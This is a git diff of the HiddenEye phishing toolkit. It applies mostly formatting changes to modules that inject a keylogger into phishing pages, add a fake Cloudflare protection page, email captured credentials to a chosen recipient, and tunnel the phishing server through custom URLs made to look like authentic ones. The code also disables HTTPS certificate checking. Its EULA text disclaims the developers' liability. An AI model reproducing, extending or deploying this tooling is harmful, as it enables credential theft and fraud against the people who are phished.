diff --git a/Defs/ActionManager/Server/server_runner.py b/Defs/ActionManager/Server/server_runner.py index e8cf297..6225f49 100644 --- a/Defs/ActionManager/Server/server_runner.py +++ b/Defs/ActionManager/Server/server_runner.py @@ -335,8 +335,9 @@ def start_localxpose(port): def custom(port): print(global_localization.small_logo) - print("""\n\n-------------------------------\n{0}[ CREATE A CUSTOM URL HERE ]{1}!! {0}\n-------------------------------\n\n{0}[{1}!{0}]{1} YOU CAN MAKE YOUR URL SIMILAR TO AUTHENTIC URL.\n\n{0}Insert a custom subdomain for Localxpose(Ex: mysubdomain)""" - .format(default_palette[0], default_palette[2])) + print( + """\n\n-------------------------------\n{0}[ CREATE A CUSTOM URL HERE ]{1}!! {0}\n-------------------------------\n\n{0}[{1}!{0}]{1} YOU CAN MAKE YOUR URL SIMILAR TO AUTHENTIC URL.\n\n{0}Insert a custom subdomain for Localxpose(Ex: mysubdomain)""" + .format(default_palette[0], default_palette[2])) lnk = input("\n{0}CUSTOM Subdomain>>> {1}".format( default_palette[0], default_palette[2])) run_command( @@ -575,4 +576,4 @@ def start_pagekite(port): .format(port, subdomain)) except KeyboardInterrupt: print("[!] Please Copy the Generated Link For Further Use") - credentials_collector(port) \ No newline at end of file + credentials_collector(port) diff --git a/Defs/ActionManager/simple_informant.py b/Defs/ActionManager/simple_informant.py index b393bae..81c2aea 100644 --- a/Defs/ActionManager/simple_informant.py +++ b/Defs/ActionManager/simple_informant.py @@ -91,7 +91,9 @@ def terms_of_service_message(): agreement = license_handler() if not agreement: print(localization.lang_terms_of_service_message["GPL_3.0"]) - print(localization.lang_terms_of_service_message["great_power_great_responsibility"]) + print( + localization. + lang_terms_of_service_message["great_power_great_responsibility"]) print(localization. lang_terms_of_service_message["do_you_accept_license"]) print(localization. @@ -207,7 +209,7 @@ def log_writer(ctx): # Writing log log_file.write( ctx.replace(default_palette[0], "").replace( default_palette[1], "").replace(default_palette[2], "").replace( - default_palette[3], "").replace(default_palette[4], "") + "\n") + default_palette[3], "").replace(default_palette[4], "") + "\n") print(ctx) @@ -275,14 +277,16 @@ def verify_connection( elif internet_choice == "n": run_command("clear") print(global_localization.hidden_eye_logo) - print(" " + global_localization.by_darksec) + print(" " + + global_localization.by_darksec) print(" " + global_localization.official_website_link) print(localization.lang_exit_message["help_to_improve_this_tool"]) print(localization.lang_exit_message["tell_if_page_got_broken"]) + print(localization. + lang_exit_message["make_your_pull_request_or_issue"]) print( - localization.lang_exit_message["make_your_pull_request_or_issue"]) - print(localization.lang_exit_message["small_disclaimer_suggestion"]) + localization.lang_exit_message["small_disclaimer_suggestion"]) print(localization.lang_exit_message["forum_suggestion"]) print(localization.lang_exit_message["financial_support"]) print(localization.lang_exit_message["thank_you"]) diff --git a/Defs/FeatureManager/EmailManager/email_prompt.py b/Defs/FeatureManager/EmailManager/email_prompt.py index 31e8858..f1353b5 100644 --- a/Defs/FeatureManager/EmailManager/email_prompt.py +++ b/Defs/FeatureManager/EmailManager/email_prompt.py @@ -4,81 +4,96 @@ # This is free software, and you are welcome to redistribute it # under certain conditions; you can read LICENSE for details. # - - -from Defs.ImportManager.unsorted_will_be_replaced import run_command, wait, path, system, getpass, base64, copyfile import Defs.ThemeManager.theme as theme +from Defs.ImportManager.unsorted_will_be_replaced import base64 +from Defs.ImportManager.unsorted_will_be_replaced import copyfile +from Defs.ImportManager.unsorted_will_be_replaced import getpass +from Defs.ImportManager.unsorted_will_be_replaced import path +from Defs.ImportManager.unsorted_will_be_replaced import run_command +from Defs.ImportManager.unsorted_will_be_replaced import system +from Defs.ImportManager.unsorted_will_be_replaced import wait default_palette = theme.default_palette -def captured_data_email_confirmation(port): # Ask user to start sending credentials to recipient Email Address. +# Ask user to start sending credentials to recipient Email Address. +def captured_data_email_confirmation(port): import Defs.ActionManager.simple_informant as simple_informant + choice = input( - "\n\n{0}[{1}?{0}] Send Captured Data To Recipient Email Address.\nSend_Email(y/n)>> {2}".format( - default_palette[0], default_palette[4], default_palette[2])).upper() - if choice == 'Y' or choice == 'y': - if path.isfile('Defs/FeatureManager/EmailManager/emailconfig.py'): - system('python3 Defs/FeatureManager/EmailManager/SendEmail.py') + "\n\n{0}[{1}?{0}] Send Captured Data To Recipient Email Address.\nSend_Email(y/n)>> {2}" + .format(default_palette[0], default_palette[4], + default_palette[2])).upper() + if choice == "Y" or choice == "y": + if path.isfile("Defs/FeatureManager/EmailManager/emailconfig.py"): + system("python3 Defs/FeatureManager/EmailManager/SendEmail.py") else: print( - '[ERROR!]: NO CONFIG FILE FOUND ! PLEASE CREATE CONFIG FILE FIRST TO USE THIS OPTION.') + "[ERROR!]: NO CONFIG FILE FOUND ! PLEASE CREATE CONFIG FILE FIRST TO USE THIS OPTION." + ) wait(2) simple_informant.exit_message(port) - elif choice == 'N' or choice == 'n': + elif choice == "N" or choice == "n": simple_informant.exit_message(port) else: - system('clear') - print("\n\n{0}[{1}^{0}] {2}Please Select A Valid Option.. ".format(default_palette[0], default_palette[4], - default_palette[2])) + system("clear") + print("\n\n{0}[{1}^{0}] {2}Please Select A Valid Option.. ".format( + default_palette[0], default_palette[4], default_palette[2])) wait(1) - system('clear') + system("clear") return captured_data_email_confirmation(port) def captured_data_email_configuration_prompt(): - run_command('clear') - print('''{1} + run_command("clear") + print("""{1} _ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1} |__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1} | | | ]__| ]__| |__ | \| {0}|__ || |__{1} {1}http://github.com/darksecdevelopers - {0}** BY: {1}DARKSEC {0}**'''.format(default_palette[0], default_palette[2])) + {0}** BY: {1}DARKSEC {0}**""".format(default_palette[0], + default_palette[2])) print( - "-------------------------------\n{0}[ PROMPT: CONFIG EMAIL CREDENTIAL FILE ]{1}!! {0}\n-------------------------------".format( - default_palette[0], default_palette[4])) + "-------------------------------\n{0}[ PROMPT: CONFIG EMAIL CREDENTIAL FILE ]{1}!! {0}\n-------------------------------" + .format(default_palette[0], default_palette[4])) # run_command('cp Defs/FeatureManager/EmailManager/EmailConfigDefault.py Defs/FeatureManager/EmailManager/emailconfig.py') - copyfile('Defs/FeatureManager/EmailManager/EmailConfigDefault.py', - 'Defs/FeatureManager/EmailManager/emailconfig.py') - GMAILACCOUNT = input("{0}[{1}+{0}] Enter Your Gmail Username:{1} ".format(default_palette[0], default_palette[4])) - with open('Defs/FeatureManager/EmailManager/emailconfig.py') as f: + copyfile( + "Defs/FeatureManager/EmailManager/EmailConfigDefault.py", + "Defs/FeatureManager/EmailManager/emailconfig.py", + ) + GMAILACCOUNT = input("{0}[{1}+{0}] Enter Your Gmail Username:{1} ".format( + default_palette[0], default_palette[4])) + with open("Defs/FeatureManager/EmailManager/emailconfig.py") as f: read_data = f.read() - c = read_data.replace('GMAILACCOUNT', GMAILACCOUNT) - f = open('Defs/FeatureManager/EmailManager/emailconfig.py', 'w') + c = read_data.replace("GMAILACCOUNT", GMAILACCOUNT) + f = open("Defs/FeatureManager/EmailManager/emailconfig.py", "w") f.write(c) f.close() - print("{0}[.] {1}Email Address Added To config File. !\n".format(default_palette[0], default_palette[4])) + print("{0}[.] {1}Email Address Added To config File. !\n".format( + default_palette[0], default_palette[4])) GMAILPASSWORD = getpass.getpass( - "{0}[{1}+{0}] Enter Your Gmail Password:{1} ".format(default_palette[0], default_palette[4])) - with open('Defs/FeatureManager/EmailManager/emailconfig.py') as f: + "{0}[{1}+{0}] Enter Your Gmail Password:{1} ".format( + default_palette[0], default_palette[4])) + with open("Defs/FeatureManager/EmailManager/emailconfig.py") as f: read_data = f.read() GMAILPASSWORD = base64.b64encode(GMAILPASSWORD.encode()) - GMAILPASSWORD = (GMAILPASSWORD.decode('utf-8')) - c = read_data.replace('GMAILPASSWORD', GMAILPASSWORD) - f = open('Defs/FeatureManager/EmailManager/emailconfig.py', 'w') + GMAILPASSWORD = GMAILPASSWORD.decode("utf-8") + c = read_data.replace("GMAILPASSWORD", GMAILPASSWORD) + f = open("Defs/FeatureManager/EmailManager/emailconfig.py", "w") f.write(c) f.close() - print("{0}[.] {1}Password(Encoded) Added To config File. !\n".format(default_palette[0], default_palette[4])) - RECIPIENTEMAIL = input( - "{0}[{1}+{0}] Enter Recipient Email:{1} ".format(default_palette[0], default_palette[4])) - with open('Defs/FeatureManager/EmailManager/emailconfig.py') as f: + print("{0}[.] {1}Password(Encoded) Added To config File. !\n".format( + default_palette[0], default_palette[4])) + RECIPIENTEMAIL = input("{0}[{1}+{0}] Enter Recipient Email:{1} ".format( + default_palette[0], default_palette[4])) + with open("Defs/FeatureManager/EmailManager/emailconfig.py") as f: read_data = f.read() - c = read_data.replace('RECIPIENTEMAIL', RECIPIENTEMAIL) - f = open('Defs/FeatureManager/EmailManager/emailconfig.py', 'w') + c = read_data.replace("RECIPIENTEMAIL", RECIPIENTEMAIL) + f = open("Defs/FeatureManager/EmailManager/emailconfig.py", "w") f.write(c) f.close() - print("{0}[.] {1}Recipient Email Address Added To config File. !\n".format(default_palette[0], - default_palette[4])) + print("{0}[.] {1}Recipient Email Address Added To config File. !\n". + format(default_palette[0], default_palette[4])) print( - '\n\n{0}[{1}SUCCESS{0}]: Created Config File & Saved To (Defs/FeatureManager/EmailManager/Config.py)'.format( - default_palette[0], default_palette[4])) + "\n\n{0}[{1}SUCCESS{0}]: Created Config File & Saved To (Defs/FeatureManager/EmailManager/Config.py)" + .format(default_palette[0], default_palette[4])) diff --git a/Defs/FeatureManager/__init__.py b/Defs/FeatureManager/__init__.py index e69de29..8b13789 100644 --- a/Defs/FeatureManager/__init__.py +++ b/Defs/FeatureManager/__init__.py @@ -0,0 +1 @@ + diff --git a/Defs/FeatureManager/cloudflare.py b/Defs/FeatureManager/cloudflare.py index cf1d66b..7e96efc 100644 --- a/Defs/FeatureManager/cloudflare.py +++ b/Defs/FeatureManager/cloudflare.py @@ -4,10 +4,13 @@ # This is free software, and you are welcome to redistribute it # under certain conditions; you can read LICENSE for details. # - - -from Defs.ImportManager.unsorted_will_be_replaced import wait, run_command, pathlib_Path, replace, copyfile, chmod import Defs.ThemeManager.theme as theme +from Defs.ImportManager.unsorted_will_be_replaced import chmod +from Defs.ImportManager.unsorted_will_be_replaced import copyfile +from Defs.ImportManager.unsorted_will_be_replaced import pathlib_Path +from Defs.ImportManager.unsorted_will_be_replaced import replace +from Defs.ImportManager.unsorted_will_be_replaced import run_command +from Defs.ImportManager.unsorted_will_be_replaced import wait default_palette = theme.default_palette @@ -15,15 +18,16 @@ default_palette = theme.default_palette def add_cloudfare(): # run_command('mv Server/www/index.* Server/www/home.php & # & cp WebPages/cloudfare.html Server/www/index.html') - chmod('Server', 0o777) - chmod('Server/www', 0o777) + chmod("Server", 0o777) + chmod("Server/www", 0o777) try: - replace('Server/www/index.php', 'Server/www/home.php') + replace("Server/www/index.php", "Server/www/home.php") except: - replace('Server/www/index.html', 'Server/www/home.php') + replace("Server/www/index.html", "Server/www/home.php") else: - print('Unable to find index file, skipping...') + print("Unable to find index file, skipping...") return - copyfile('WebPages/cloudflare.html', 'Server/www/index.html') - print("\n{0}[{1}#{0}]CLOUDFARE FAKE PAGE{0} ADDED...".format(default_palette[0], default_palette[4])) + copyfile("WebPages/cloudflare.html", "Server/www/index.html") + print("\n{0}[{1}#{0}]CLOUDFARE FAKE PAGE{0} ADDED...".format( + default_palette[0], default_palette[4])) wait(1) diff --git a/Defs/FeatureManager/feature_prompt.py b/Defs/FeatureManager/feature_prompt.py index f698b68..87e124d 100644 --- a/Defs/FeatureManager/feature_prompt.py +++ b/Defs/FeatureManager/feature_prompt.py @@ -4,16 +4,15 @@ # This is free software, and you are welcome to redistribute it # under certain conditions; you can read LICENSE for details. # +from time import sleep - -import Defs.LocalizationManager.lang_feature_manager.lang_feature_prompt as feature_localization -import Defs.LocalizationManager.lang_global_usage as global_localization -from Defs.ImportManager.unsorted_will_be_replaced import run_command -import Defs.ThemeManager.theme as theme import Defs.FeatureManager.cloudflare as cloudflare import Defs.FeatureManager.EmailManager.email_prompt as email_prompt import Defs.FeatureManager.keylogger as keylogger -from time import sleep +import Defs.LocalizationManager.lang_feature_manager.lang_feature_prompt as feature_localization +import Defs.LocalizationManager.lang_global_usage as global_localization +import Defs.ThemeManager.theme as theme +from Defs.ImportManager.unsorted_will_be_replaced import run_command default_palette = theme.default_palette @@ -43,4 +42,3 @@ def feature_prompt(): print(global_localization.invalid_option) sleep(3) feature_prompt() - diff --git a/Defs/FeatureManager/keylogger.py b/Defs/FeatureManager/keylogger.py index d176ef0..c572c51 100644 --- a/Defs/FeatureManager/keylogger.py +++ b/Defs/FeatureManager/keylogger.py @@ -4,33 +4,34 @@ # This is free software, and you are welcome to redistribute it # under certain conditions; you can read LICENSE for details. # - - -from Defs.ImportManager.unsorted_will_be_replaced import wait, run_command, path import Defs.ThemeManager.theme as theme +from Defs.ImportManager.unsorted_will_be_replaced import path +from Defs.ImportManager.unsorted_will_be_replaced import run_command +from Defs.ImportManager.unsorted_will_be_replaced import wait default_palette = theme.default_palette def add_keylogger(): - if path.exists('Server/www/index.html'): - with open('Server/www/index.html') as f: + if path.exists("Server/www/index.html"): + with open("Server/www/index.html") as f: read_data = f.read() - c = read_data.replace( - '', '') - f = open('Server/www/index.html', 'w') + c = read_data.replace("", + '') + f = open("Server/www/index.html", "w") f.write(c) f.close() - print("\n{0}[{1}#{0}]Keylogger{0} ADDED !!!".format(default_palette[0], default_palette[4])) + print("\n{0}[{1}#{0}]Keylogger{0} ADDED !!!".format( + default_palette[0], default_palette[4])) wait(2) else: - with open('Server/www/index.php') as f: + with open("Server/www/index.php") as f: read_data = f.read() - c = read_data.replace( - '', '') - f = open('Server/www/index.php', 'w') + c = read_data.replace("", + '') + f = open("Server/www/index.php", "w") f.write(c) f.close() - print("\n{0}[{1}#{0}]Keylogger{0} ADDED !!!".format(default_palette[0], default_palette[4])) + print("\n{0}[{1}#{0}]Keylogger{0} ADDED !!!".format( + default_palette[0], default_palette[4])) wait(2) - diff --git a/Defs/ImportManager/unsorted_will_be_replaced.py b/Defs/ImportManager/unsorted_will_be_replaced.py index ca29f24..81f712e 100644 --- a/Defs/ImportManager/unsorted_will_be_replaced.py +++ b/Defs/ImportManager/unsorted_will_be_replaced.py @@ -5,11 +5,11 @@ # under certain conditions; you can read LICENSE for details. # import base64 -import stat import getpass import platform import re as regular_expression import socket +import stat from distutils.dir_util import copy_tree as webpage_set from io import BytesIO from os import chdir diff --git a/Defs/LocalizationManager/helper.py b/Defs/LocalizationManager/helper.py index 81f6371..349139b 100644 --- a/Defs/LocalizationManager/helper.py +++ b/Defs/LocalizationManager/helper.py @@ -4,8 +4,6 @@ # This is free software, and you are welcome to redistribute it # under certain conditions; you can read LICENSE for details. # - - import Defs.ThemeManager.theme as theme default_palette = theme.default_palette @@ -14,4 +12,6 @@ default_palette = theme.default_palette def print_sorted_as_menu(sorting_list): col_width = max(len(word) for row in sorting_list for word in row) + 2 for row in sorting_list: - print("".join(word.ljust(col_width) for word in row).format(default_palette[0], default_palette[2])) + print("".join(word.ljust(col_width) + for word in row).format(default_palette[0], + default_palette[2])) diff --git a/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py b/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py index 6a4a2b6..e35a40c 100644 --- a/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py +++ b/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py @@ -48,11 +48,11 @@ lang_verify_connection = { _("\n{0}[{1}!{0}] Network error. You are disconnected from the internet."). format(default_palette[2], default_palette[0]), "continue_warning": - _("\n{0}[{1}*{0}] Many features of HiddenEye will not work without internet connection.").format( - default_palette[2], default_palette[0]), + _("\n{0}[{1}*{0}] Many features of HiddenEye will not work without internet connection." + ).format(default_palette[2], default_palette[0]), "continue_confirmation": - _("\n{0}[{1}*{0}] Are you sure you'd like to continue. (Y/N)").format( - default_palette[2], default_palette[0]) + _("\n{0}[{1}*{0}] Are you sure you'd like to continue. (Y/N)").format( + default_palette[2], default_palette[0]), } lang_module_loading_message = { diff --git a/Defs/LocalizationManager/lang_feature_manager/lang_feature_prompt.py b/Defs/LocalizationManager/lang_feature_manager/lang_feature_prompt.py index 82d0658..1c668e4 100644 --- a/Defs/LocalizationManager/lang_feature_manager/lang_feature_prompt.py +++ b/Defs/LocalizationManager/lang_feature_manager/lang_feature_prompt.py @@ -4,26 +4,29 @@ # This is free software, and you are welcome to redistribute it # under certain conditions; you can read LICENSE for details. # - - import Defs.ThemeManager.theme as theme from Defs.LocalizationManager.localization import _ + default_palette = theme.default_palette feature_prompt = { "feature_alert": - _( - "---------------------------------------------------------\n{0}[ PROMPT: PLEASE CHOOSE FEATURES YOU WOULD " - "LIKE TO USE. ]{1} {0}\n---------------------------------------------------------".format( - default_palette[0], default_palette[4])), + _("---------------------------------------------------------\n{0}[ PROMPT: PLEASE CHOOSE FEATURES YOU WOULD " + "LIKE TO USE. ]{1} {0}\n---------------------------------------------------------" + .format(default_palette[0], default_palette[4])), "keylogger": - _("\n{0}[{1}A{0}]{1} KEYLOGGER (Usually Kills Connection) ".format(default_palette[0], default_palette[2])), + _("\n{0}[{1}A{0}]{1} KEYLOGGER (Usually Kills Connection) ".format( + default_palette[0], default_palette[2])), "cloudfare": - _("\n{0}[{1}B{0}]{1} FAKE CLOUDFARE PROTECTION PAGE ".format(default_palette[0], default_palette[2])), + _("\n{0}[{1}B{0}]{1} FAKE CLOUDFARE PROTECTION PAGE ".format( + default_palette[0], default_palette[2])), "email": - _("\n{0}[{1}C{0}]{1} CAPTURED DATA EMAILED ".format(default_palette[0], default_palette[2])), + _("\n{0}[{1}C{0}]{1} CAPTURED DATA EMAILED ".format( + default_palette[0], default_palette[2])), "none": - _("\n{0}[{1}0{0}]{1} PRESS ONLY ENTER FOR NONE OF THE ABOVE ".format(default_palette[0], default_palette[2])), + _("\n{0}[{1}0{0}]{1} PRESS ONLY ENTER FOR NONE OF THE ABOVE ".format( + default_palette[0], default_palette[2])), "example": - _('\n{0}[{1}*{0}]{1} Please type all together. Eg: ABC or AC {0}[{1}*{0}]{1}'.format(default_palette[0], default_palette[2])) -} \ No newline at end of file + _("\n{0}[{1}*{0}]{1} Please type all together. Eg: ABC or AC {0}[{1}*{0}]{1}" + .format(default_palette[0], default_palette[2])), +} diff --git a/Defs/LocalizationManager/lang_global_usage.py b/Defs/LocalizationManager/lang_global_usage.py index ba52198..8177266 100644 --- a/Defs/LocalizationManager/lang_global_usage.py +++ b/Defs/LocalizationManager/lang_global_usage.py @@ -4,9 +4,8 @@ # This is free software, and you are welcome to redistribute it # under certain conditions; you can read LICENSE for details. # - - import Defs.ThemeManager.theme as theme + default_palette = theme.default_palette hidden_eye_logo = """ @@ -14,16 +13,20 @@ hidden_eye_logo = """ {1} ██ ██ ██ ██ ██ ██ ██ ██ ████ ██ {2}██ ██ ██ ██ {0} {1} ███████ ██ ██ ██ ██ ██ ███████ ██ ██ ██ {2}███████ ████ ███████ {0} {1} ██ ██ ██ ██ ██ ██ ██ ██ ██ ████ {2}██ ██ ██ {0} - {1} ██ ██ ██ ██████ ██████ ███████ ██ ███ {2}███████ ██ ███████ {0}""".format(default_palette[4], default_palette[2], default_palette[0]) + {1} ██ ██ ██ ██████ ██████ ███████ ██ ███ {2}███████ ██ ███████ {0}""".format( + default_palette[4], default_palette[2], default_palette[0]) -input_line = "\n{0}HiddenEye >>> {1}".format(default_palette[0], default_palette[2]) -official_website_link = '{0}https://dark-sec-official.com'.format(default_palette[0]) -by_darksec = '{0}** BY:DARKSEC **'.format(default_palette[0]) -line_of_dots = '{0}...............................'.format(default_palette[0]) -small_logo = '''{1} +input_line = "\n{0}HiddenEye >>> {1}".format(default_palette[0], + default_palette[2]) +official_website_link = "{0}https://dark-sec-official.com".format( + default_palette[0]) +by_darksec = "{0}** BY:DARKSEC **".format(default_palette[0]) +line_of_dots = "{0}...............................".format(default_palette[0]) +small_logo = """{1} _ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1} |__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1} | | | ]__| ]__| |__ | \| {0}|__ || |__{1} {1}http://github.com/darksecdevelopers - {0}** BY: {1}DARKSEC {0}**'''.format(default_palette[0], default_palette[2]) -invalid_option = "Please choose a valid option." \ No newline at end of file + {0}** BY: {1}DARKSEC {0}**""".format(default_palette[0], + default_palette[2]) +invalid_option = "Please choose a valid option." diff --git a/Defs/LocalizationManager/localization.py b/Defs/LocalizationManager/localization.py index bda2780..064c9a7 100644 --- a/Defs/LocalizationManager/localization.py +++ b/Defs/LocalizationManager/localization.py @@ -4,10 +4,8 @@ # This is free software, and you are welcome to redistribute it # under certain conditions; you can read LICENSE for details. # - - import gettext -gettext.bindtextdomain('HiddenEye', 'locale') -gettext.textdomain('HiddenEye') +gettext.bindtextdomain("HiddenEye", "locale") +gettext.textdomain("HiddenEye") _ = gettext.gettext diff --git a/Defs/ThemeManager/theme.py b/Defs/ThemeManager/theme.py index 40d420b..f6f185c 100644 --- a/Defs/ThemeManager/theme.py +++ b/Defs/ThemeManager/theme.py @@ -5,5 +5,10 @@ # under certain conditions; you can read LICENSE for details. # - -default_palette = ['\033[91m', '\033[46m', '\033[36m', '\033[1;32m', '\033[0m'] # TODO Will be replaced later, +default_palette = [ + "\033[91m", + "\033[46m", + "\033[36m", + "\033[1;32m", + "\033[0m", +] # TODO Will be replaced later, diff --git a/HiddenEye.py b/HiddenEye.py index bde078e..8d3df14 100755 --- a/HiddenEye.py +++ b/HiddenEye.py @@ -4,10 +4,10 @@ # This is free software, and you are welcome to redistribute it # under certain conditions; you can read LICENSE for details. # - import multiprocessing import ssl from os import environ + import Defs.ActionManager.main_runner as main_runner import Defs.ActionManager.Server.server_runner as server_runner import Defs.ActionManager.simple_informant as simple_informant @@ -19,7 +19,6 @@ if EULAController().check_eula_existence() is False: if EULAController().check_eula_confirmation() is False: EULAController().confirm_eula() - if not environ.get("PYTHONHTTPSVERIFY", "") and getattr( ssl, "_create_unverified_context", None): ssl._create_default_https_context = ssl._create_unverified_context @@ -45,7 +44,7 @@ if __name__ == "__main__": server_runner.server_selection(port) multiprocessing.Process(target=server_runner.start_server, - args=(port,)).start() + args=(port, )).start() simple_informant.credentials_collector() except KeyboardInterrupt: diff --git a/__init__.py b/__init__.py index e69de29..8b13789 100644 --- a/__init__.py +++ b/__init__.py @@ -0,0 +1 @@ + diff --git a/controllers/EULA_controller.py b/controllers/EULA_controller.py index d624236..9ed6760 100644 --- a/controllers/EULA_controller.py +++ b/controllers/EULA_controller.py @@ -1,14 +1,15 @@ import pathlib -from os import chmod import stat +from os import chmod + from views.EULA_view import EULAView class EULAController: - def __init__(self, confirmation_text: str = 'eula = True'): + def __init__(self, confirmation_text: str = "eula = True"): self.eula = "eula.txt" self.confirmation_text = confirmation_text - self.license = open("LICENSE", 'r') + self.license = open("LICENSE", "r") def check_eula_existence(self): """ @@ -23,13 +24,16 @@ class EULAController: def generate_new_eula(self): pathlib.Path(str(self.eula)).touch(exist_ok=True) text_license = self.license.read() - with open(str(self.eula), 'w+') as temp_eula: + with open(str(self.eula), "w+") as temp_eula: chmod(self.eula, 0o777) - temp_eula.write("{0}\n{1}".format(EULAView().EULA_messages["eula_start_of_file_unconfirmed"], text_license)) + temp_eula.write("{0}\n{1}".format( + EULAView().EULA_messages["eula_start_of_file_unconfirmed"], + text_license, + )) temp_eula.close() def check_eula_confirmation(self): - with open(self.eula, 'r') as file: + with open(self.eula, "r") as file: if self.confirmation_text in file.read(): print(EULAView().EULA_messages["eula_is_confirmed"]) return True @@ -39,16 +43,29 @@ class EULAController: def confirm_eula(self): # FIXME replace those strings with View entries - print(f'{self.license.read()}\nGreat Power Comes With Great Responsibility') - print('\nThe use of the HiddenEye & its resources/phishing-pages is COMPLETE RESPONSIBILITY of the END-USER.') - print('\nDevelopers assume NO liability and are NOT responsible for any damage caused by this program.') - print('\nAlso we want to inform you that some of your actions may be ILLEGAL and you CAN NOT use this ') - print('\nsoftware to test device, company or any other type of target without WRITTEN PERMISSION from them.') + print( + f"{self.license.read()}\nGreat Power Comes With Great Responsibility" + ) + print( + "\nThe use of the HiddenEye & its resources/phishing-pages is COMPLETE RESPONSIBILITY of the END-USER." + ) + print( + "\nDevelopers assume NO liability and are NOT responsible for any damage caused by this program." + ) + print( + "\nAlso we want to inform you that some of your actions may be ILLEGAL and you CAN NOT use this " + ) + print( + "\nsoftware to test device, company or any other type of target without WRITTEN PERMISSION from them." + ) print('\nDo you accept EULA? \nEnter: "I accept EULA" to continue') answer = input("HiddenEye EULA>> ").lower().replace(" ", "") if answer == "iaccepteula": eula_temp_input = open(self.eula, "rt") - eula_temp_data = eula_temp_input.read().replace(EULAView().EULA_messages["eula_start_of_file_unconfirmed"], EULAView().EULA_messages["eula_start_of_file_confirmed"]) + eula_temp_data = eula_temp_input.read().replace( + EULAView().EULA_messages["eula_start_of_file_unconfirmed"], + EULAView().EULA_messages["eula_start_of_file_confirmed"], + ) eula_temp_input.close() eula_temp_input = open(self.eula, "wt") eula_temp_input.write(eula_temp_data) diff --git a/index.html b/index.html index 56f8491..b19bb7e 100644 --- a/index.html +++ b/index.html @@ -171,4 +171,4 @@ Copyright © 2020 All rights reserved - \ No newline at end of file + diff --git a/views/EULA_view.py b/views/EULA_view.py index e4864a5..59346a5 100644 --- a/views/EULA_view.py +++ b/views/EULA_view.py @@ -4,11 +4,18 @@ from gettext import gettext as _ class EULAView: def __init__(self): self.EULA_messages = { - "eula_found": _("EULA is found"), - "eula_is_confirmed": _("You accepted EULA"), - "eula_is_not_confirmed": _("You didn't accept EULA, please open eula.txt"), - "eula_not_found": _("EULA isn't found\n Generated new EULA"), - "eula_is_invalid": _("EULA is not valid"), - "eula_start_of_file_unconfirmed": _("# Please read and accept EULA below\n eula = False"), - "eula_start_of_file_confirmed": _("# Please read and accept EULA below\n eula = True") + "eula_found": + _("EULA is found"), + "eula_is_confirmed": + _("You accepted EULA"), + "eula_is_not_confirmed": + _("You didn't accept EULA, please open eula.txt"), + "eula_not_found": + _("EULA isn't found\n Generated new EULA"), + "eula_is_invalid": + _("EULA is not valid"), + "eula_start_of_file_unconfirmed": + _("# Please read and accept EULA below\n eula = False"), + "eula_start_of_file_confirmed": + _("# Please read and accept EULA below\n eula = True"), }